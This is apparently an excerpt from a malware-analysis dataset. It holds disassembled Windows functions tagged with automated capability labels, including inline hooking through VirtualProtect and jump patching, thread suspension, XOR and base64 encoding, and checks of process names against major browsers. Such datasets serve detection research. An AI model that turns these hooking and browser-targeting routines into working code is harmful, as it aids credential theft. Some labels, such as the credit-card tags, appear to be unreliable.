joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d910
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140016c60], rbx
je 0x14000d977
cmp rax, rbx
jne 0x14000d96a
mov ebx, 1
mov esi, ebx
jmp 0x14000d97c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000d94f
mov ebx, 1
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000d994
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000da00
mov eax, dword [0x140016c68]
test eax, eax
jne 0x14000d9f5
mov dword [0x140016c68], ebx
lea r15, [0x140010bb8]
lea rdi, [0x140010ba0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000d9e7
test eax, eax
jne 0x14000d9eb
cmp qword [rdi], r14
je 0x14000d9dc
mov rax, qword [rdi]
mov rcx, qword [0x140010b58]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000d9be
test eax, eax
je 0x14000d9fb
mov eax, 0xff
jmp 0x14000db56
mov dword [0x1400163e4], ebx
mov edi, 0x1f
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000da27
lea rdx, [0x140010b98]
lea rcx, [0x140010b60]
call sub.msvcrt.dll__initterm
mov dword [0x140016c68], 2
test esi, esi
jne 0x14000da35
mov rax, r14
xchg qword [0x140016c60], rax
cmp qword [0x140016c80], r14
je 0x14000da68
lea rcx, [0x140016c80]
call fcn.14000dfd0
test eax, eax
je 0x14000da68
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140016c80]
mov r9, qword [0x140010b58]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000da81
mov eax, 0xff
jmp 0x14000db56
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000db07
test ax, ax
je 0x14000da9c
test edx, edx
jne 0x14000db07
sub ax, bx
cmp ax, di
ja 0x14000dab2
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000da9c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400019fc
mov dword [0x1400163e0], eax
cmp dword [0x140016400], r14d
jne 0x14000daf0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400163e4], r14d
jne 0x14000db05
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400163e0]
jmp 0x14000db56
cmp ax, 0x22
jne 0x14000db1b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000da8a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14014c000
add rsp, 0x28
jmp 0x14000d910
Function at 0x1800045e4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
lea rcx, [rax - 0x28]
mov r14, r8
call fcn.1800048c0
lea rcx, [rsp + 0x20]
call fcn.1800091c4
xor r8d, r8d
mov rcx, rsi
mov rdx, rax
call fcn.180004570
lea rcx, [rsp + 0x20]
xor ebp, ebp
call fcn.1800091c4
test rax, rax
je 0x180004686
mov rcx, r14
call fcn.1800091c4
xor edx, edx
mov rcx, rax
mov rax, rbp
div rcx
mov rcx, r14
call fcn.1800045cc
mov rdx, rbp
mov rcx, rsi
mov rdi, rax
call fcn.1800045cc
lea rcx, [rsp + 0x20]
mov rdx, rbp
mov rbx, rax
call fcn.1800045cc
inc rbp
mov cl, byte [rax]
xor cl, byte [rdi]
mov byte [rbx], cl
lea rcx, [rsp + 0x20]
call fcn.1800091c4
cmp rbp, rax
jb 0x180004635
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret

Function at 0x1800046b0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rdi, rcx
mov rcx, rdx
mov r14, r8
mov rsi, rdx
call fcn.1800091c4
lea rcx, [rsp + 0x20]
mov rdx, rax
xor r8d, r8d
call fcn.180004570
mov rcx, rsi
xor ebp, ebp
call fcn.1800091c4
test rax, rax
je 0x180004742
mov rcx, r14
call fcn.1800091c4
xor edx, edx
mov rcx, rax
mov rax, rbp
div rcx
mov rcx, r14
call fcn.1800045cc
mov rdx, rbp
mov rcx, rsi
mov bl, byte [rax]
call fcn.1800045cc
lea rcx, [rsp + 0x20]
xor bl, byte [rax]
mov rdx, rbp
call fcn.1800045cc
mov rcx, rsi
inc rbp
mov byte [rax], bl
call fcn.1800091c4
cmp rbp, rax
jb 0x1800046f9
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.180004a94
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rax, rdi
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180004904
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rbx, qword [r8]
mov rdi, rdx
mov rsi, rcx
test rbx, rbx
jne 0x180004940
lea rdx, [0x18002f4de]
call fcn.1800010e8
jmp 0x180004a6f
xor ebp, ebp
mov rax, rbx
lea r12d, [rbp + 1]
and eax, 3
jne 0x18000495a
cmp byte [rbx + rdx - 1], 0x3d
je 0x18000495a
xor r14d, r14d
jmp 0x18000496a
mov r14, r12
cmp rax, 2
ja 0x18000496f
cmp byte [rbx + rdx - 2], 0x3d
jne 0x18000496f
xor r15d, r15d
jmp 0x180004972
mov r15, r12
sub rbx, r14
lea rcx, [rsp + 0x20]
xor r8d, r8d
and rbx, 0xfffffffffffffffc
mov rdx, rbx
shr rdx, 2
lea rax, [r15 + rdx*2]
add rdx, rax
add rdx, r14
call fcn.180004570
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.1800045cc
lea r11, [0x180030780]
mov r9, rax
test rbx, rbx
je 0x180004a15
lea r8, [rbx - 1]
lea r10, [rdi + 1]
shr r8, 2
add r8, r12
movzx eax, byte [r10]
movzx ecx, byte [r10 - 1]
lea r10, [r10 + 4]
mov edx, dword [r11 + rcx*4]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 3]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 2]
shl edx, 6
or edx, dword [r11 + rax*4]
mov eax, edx
sar eax, 0x10
mov byte [r9 + rbp], al
add rbp, r12
mov eax, edx
sar eax, 8
mov byte [r9 + rbp], al
add rbp, r12
mov byte [r9 + rbp], dl
add rbp, r12
sub r8, r12
jne 0x1800049c1
test r14, r14
je 0x180004a58
movzx eax, byte [rbx + rdi]
mov edx, dword [r11 + rax*4]
movzx eax, byte [rbx + rdi + 1]
shl edx, 6
or edx, dword [r11 + rax*4]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
mov byte [r9 + rbp], al
test r15, r15
je 0x180004a58
movzx eax, byte [rbx + rdi + 2]
sar edx, 8
mov ecx, dword [r11 + rax*4]
shl ecx, 6
sar ecx, 8
or cl, dl
mov byte [r9 + rbp + 1], cl
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.180004518
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
mov rax, rsi
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
Function at 0x180004ad8
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r9, qword [r8]
mov rsi, rdx
mov rbx, r8
add r9, 2
movabs r12, 0xaaaaaaaaaaaaaaab
mov r14b, 0x3d
mov rax, r12
mov r8b, r14b
mov r15, rcx
mul r9
shr rdx, 1
shl rdx, 2
call fcn.180004570
xor edx, edx
mov rcx, r15
call fcn.1800045cc
mov r11, qword [rbx]
mov rbx, qword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov rdi, rax
mov r9, r11
mov rax, r12
xor r8d, r8d
mul r11
shr rdx, 1
lea rcx, [rdx + rdx*2]
sub r9, rcx
sub r11, r9
je 0x180004bd3
lea rcx, [r11 - 1]
mov rax, r12
lea rbp, [rsi + 1]
mul rcx
mov r10, rdx
shr r10, 1
inc r10
movzx eax, byte [rbp]
movzx ecx, byte [rbp - 1]
lea rbp, [rbp + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbp - 2]
shl ecx, 8
or ecx, eax
movsxd rdx, ecx
mov rax, rdx
sar rax, 0x12
mov al, byte [rax + rbx]
mov byte [r8 + rdi], al
mov rax, rdx
add r8, 4
sar rax, 0xc
and eax, 0x3f
mov al, byte [rax + rbx]
mov byte [r8 + rdi - 3], al
mov rax, rdx
and edx, 0x3f
sar rax, 6
and eax, 0x3f
mov al, byte [rax + rbx]
mov byte [r8 + rdi - 2], al
mov al, byte [rdx + rbx]
mov byte [r8 + rdi - 1], al
dec r10
jne 0x180004b70
test r9, r9
je 0x180004c44
dec r9
je 0x180004bef
movzx eax, byte [r11 + rsi]
movzx edx, byte [r11 + rsi + 1]
shl eax, 8
or edx, eax
jmp 0x180004bf4
movzx edx, byte [r11 + rsi]
mov eax, edx
mov ecx, edx
sar eax, 2
sar ecx, 0xa
and ecx, 0x3f
test r9, r9
cmovne eax, ecx
cdqe
mov cl, byte [rax + rbx]
mov eax, edx
mov byte [r8 + rdi], cl
and eax, 3
mov ecx, edx
sar ecx, 4
shl eax, 4
and ecx, 0x3f
test r9, r9
cmovne eax, ecx
cdqe
mov cl, byte [rax + rbx]
mov byte [r8 + rdi + 1], cl
je 0x180004c3f
and edx, 0xf
shl edx, 2
movsxd rax, edx
mov r14b, byte [rax + rbx]
mov byte [r8 + rdi + 2], r14b
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov rax, r15
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1800053a8
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rdi, rcx
lea rcx, [rax - 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rsi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x1800053ef
lea rax, [rdi - 0x40000000]
cmp rsi, rax
cmovb rsi, rax
mov rbx, qword [0x18004d8c0]
lea rax, [rdi + 0x40000000]
cmp rbp, rax
cmova rbp, rax
sub rbp, 0xfff
test rbx, rbx
je 0x18000542a
cmp rbx, rsi
jb 0x180005425
cmp rbx, rbp
jae 0x180005425
cmp qword [rbx + 8], 0
jne 0x1800054f7
mov rbx, qword [rbx]
jmp 0x18000540b
mov r14, rdi
cmp rdi, rsi
jb 0x180005471
mov r8d, dword [rsp + 0x48]
mov rdx, rsi
mov rcx, r14
call fcn.1800052cc
mov r14, rax
test rax, rax
je 0x180005471
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1800054b7
cmp r14, rsi
jae 0x180005432
test rbx, rbx
jmp 0x1800054ae
mov r8d, dword [rsp + 0x48]
mov rdx, rbp
mov rcx, rdi
call fcn.180005240
mov rdi, rax
test rax, rax
je 0x1800054f7
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1800054b7
cmp rdi, rbp
jbe 0x180005476
jmp 0x1800054f7
and qword [rbx + 8], 0
and dword [rbx + 0x10], 0
lea rcx, [rbx + 0x40]
mov rdx, rcx
sub rdx, rbx
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x1800054ca
mov rax, qword [0x18004d8c0]
mov qword [rbx], rax
mov qword [0x18004d8c0], rbx
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop r14
ret
Function at 0x180005d98
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov ebx, ecx
mov esi, edx
mov ebp, 5
imul rbx, rbx, 0x38
add rbx, qword [0x18004d8b0]
test byte [rbx + 0x20], 1
mov rdi, qword [rbx]
je 0x180005dd1
sub rdi, rbp
mov ebp, 7
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180005df6
mov eax, 0xa
jmp 0x180005e82
test esi, esi
je 0x180005e18
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180005e39
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180005e39
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180005e33
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180005e39
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
mov al, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x180005ed8
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180005fcc
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
jmp 0x180005fbb
cmp dword [rsp + 0x20], 0x10
jb 0x180005fa6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180005fa6
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180005fa6
mov r8, qword [rbx]
test r8, r8
jne 0x180005f67
mov dword [rbx + 8], 0x80
mov rcx, qword [0x18003f888]
xor edx, edx
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x180005fc3
jmp 0x180005f96
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x180005f96
mov rcx, qword [0x18003f888]
lea r9d, [rax + rax]
xor edx, edx
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x180005fc3
mov ecx, dword [rbx + 8]
mov qword [rbx], rax
add ecx, ecx
mov dword [rbx + 8], ecx
mov edx, dword [rbx + 0xc]
mov rcx, qword [rbx]
mov eax, dword [rsp + 0x28]
mov dword [rcx + rdx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180005f16
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180006090
Capabilities:
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
and qword [rcx], 0
and dword [rcx + 8], 0
and dword [rcx + 0xc], 0
mov ebp, r8d
mov r14d, edx
mov rbx, rcx
call fcn.180005ed8
cmp qword [rbx], 0
je 0x180006111
xor edi, edi
cmp dword [rbx + 0xc], edi
jbe 0x180006111
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x18000610a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rsi
call fcn.180006390
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x1800060d0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x180006490
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x1800064f4
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x1800064e2
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800064db
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x1800064af
mov r8, qword [rbx]
mov rcx, qword [0x18003f888]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180006e24
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
je 0x180006e7b
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov esi, edx
mov rdi, rcx
xor ebx, ebx
mov rcx, rbp
call qword [0x18003e6a8]
xor edx, edx
mov r8d, eax
mov eax, ebx
inc ebx
div r8d
mov al, byte [rdx + rbp]
xor byte [rdi], al
inc rdi
cmp ebx, esi
jb 0x180006e46
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800086d8
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov edi, edx
call fcn.18000ec94
lea eax, [rdi + 1]
test eax, 0xfffffffe
jne 0x180008713
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov edx, edi
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000875f
lea rdx, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x40], 0x238
call sub.KERNEL32.dll_Module32First
jmp 0x18000875b
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.180009204
lea rdx, [rsp + 0x40]
mov rcx, rdi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x18000873f
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.180008234
lea rcx, [rsp + 0x20]
call fcn.180008280
lea r11, [rsp + 0x280]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x180010ebc
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x180011066
cmp ecx, 0x7c
je 0x180011066
cmp ecx, 0x29
jne 0x180010f01
cmp dword [rdi + 0x1c], 0
jne 0x180011066
test dword [rdi + 0x80], 0x10000000
je 0x180011071
cmp ecx, 0x2e
jne 0x180010f1c
lea rcx, [rdi + 0x40]
call fcn.180010920
mov rcx, rdi
call fcn.180015994
jmp 0x180011052
cmp ecx, 0x5c
jne 0x180010f7f
mov rcx, rdi
call fcn.180015994
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x180010f52
cmp byte [rdi + 0x78], 0x62
jne 0x180010f52
lea rcx, [rdi + 0x40]
call fcn.180010eb0
mov rcx, rdi
call fcn.180015994
jmp 0x18001105a
test eax, eax
je 0x180010f72
cmp byte [rdi + 0x78], 0x42
jne 0x180010f72
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.180010eb0
mov rcx, rbx
call fcn.18001593c
jmp 0x180010f45
mov rcx, rdi
call fcn.1800112e8
jmp 0x180011052
cmp ecx, 0x5b
jne 0x180010faa
mov rcx, rdi
call fcn.180015994
mov rcx, rdi
call fcn.180011b7c
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.180013d48
jmp 0x180011052
cmp ecx, 0x28
jne 0x180010fd4
mov rcx, rdi
call fcn.180015994
mov rcx, rdi
call fcn.180016d84
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.180013d48
jmp 0x18001104e
cmp ecx, 0x5e
jne 0x180010fe7
lea rcx, [rdi + 0x40]
call fcn.1800106f4
jmp 0x180010f45
cmp ecx, 0x24
jne 0x180010ffa
lea rcx, [rdi + 0x40]
call fcn.1800109ac
jmp 0x180010f45
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18001109b
cmp ecx, 0x3f
je 0x18001109b
cmp ecx, 0x7b
je 0x18001109b
cmp ecx, 0x7d
jne 0x180011029
test dword [rdi + 0x80], 0x10000000
je 0x18001107f
cmp ecx, 0x5d
jne 0x18001103a
test dword [rdi + 0x80], 0x10000000
je 0x18001108d
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.180010700
mov rcx, rdi
call fcn.180015994
test bl, bl
je 0x18001105a
mov rcx, rdi
call fcn.180015a7c
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x180010ed0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180013d04
int3
mov edx, 6
mov rcx, rdi
call fcn.180013d04
int3
mov edx, 4
mov rcx, rdi
call fcn.180013d04
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180013d04
int3
Function at 0x1800110ac
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x180011256
cmp ecx, 0x7c
je 0x180011256
cmp ecx, 0x29
jne 0x1800110f1
cmp dword [rdi + 0x1c], 0
jne 0x180011256
test dword [rdi + 0x80], 0x10000000
je 0x180011261
cmp ecx, 0x2e
jne 0x18001110c
lea rcx, [rdi + 0x40]
call fcn.180010920
mov rcx, rdi
call fcn.1800159d4
jmp 0x180011242
cmp ecx, 0x5c
jne 0x18001116f
mov rcx, rdi
call fcn.1800159d4
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x180011142
cmp byte [rdi + 0x78], 0x62
jne 0x180011142
lea rcx, [rdi + 0x40]
call fcn.180010eb0
mov rcx, rdi
call fcn.1800159d4
jmp 0x18001124a
test eax, eax
je 0x180011162
cmp byte [rdi + 0x78], 0x42
jne 0x180011162
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.180010eb0
mov rcx, rbx
call fcn.18001593c
jmp 0x180011135
mov rcx, rdi
call fcn.1800113c4
jmp 0x180011242
cmp ecx, 0x5b
jne 0x18001119a
mov rcx, rdi
call fcn.1800159d4
mov rcx, rdi
call fcn.180011be4
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.180013d64
jmp 0x180011242
cmp ecx, 0x28
jne 0x1800111c4
mov rcx, rdi
call fcn.1800159d4
mov rcx, rdi
call fcn.180016e2c
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.180013d64
jmp 0x18001123e
cmp ecx, 0x5e
jne 0x1800111d7
lea rcx, [rdi + 0x40]
call fcn.1800106f4
jmp 0x180011135
cmp ecx, 0x24
jne 0x1800111ea
lea rcx, [rdi + 0x40]
call fcn.1800109ac
jmp 0x180011135
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18001128b
cmp ecx, 0x3f
je 0x18001128b
cmp ecx, 0x7b
je 0x18001128b
cmp ecx, 0x7d
jne 0x180011219
test dword [rdi + 0x80], 0x10000000
je 0x18001126f
cmp ecx, 0x5d
jne 0x18001122a
test dword [rdi + 0x80], 0x10000000
je 0x18001127d
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.180010700
mov rcx, rdi
call fcn.1800159d4
test bl, bl
je 0x18001124a
mov rcx, rdi
call fcn.180015b90
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x1800110c0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180013d04
int3
mov edx, 6
mov rcx, rdi
call fcn.180013d04
int3
mov edx, 4
mov rcx, rdi
call fcn.180013d04
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180013d04
int3
Function at 0x18001a444
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.180006fd4
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x18003e688]
lea rcx, [rsp + 0x30]
call qword [0x18003e690]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x18003e708]
test eax, eax
jne 0x18001a4c6
call fcn.180006870
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18002f4de]
lea r8, [0x18000ffc4]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.180007640
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a4e4
call fcn.180006870
call fcn.180018238
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a502
call fcn.180006870
call fcn.180008790
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a520
call fcn.180006870
call fcn.18000886c
lea rdx, str.opera.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
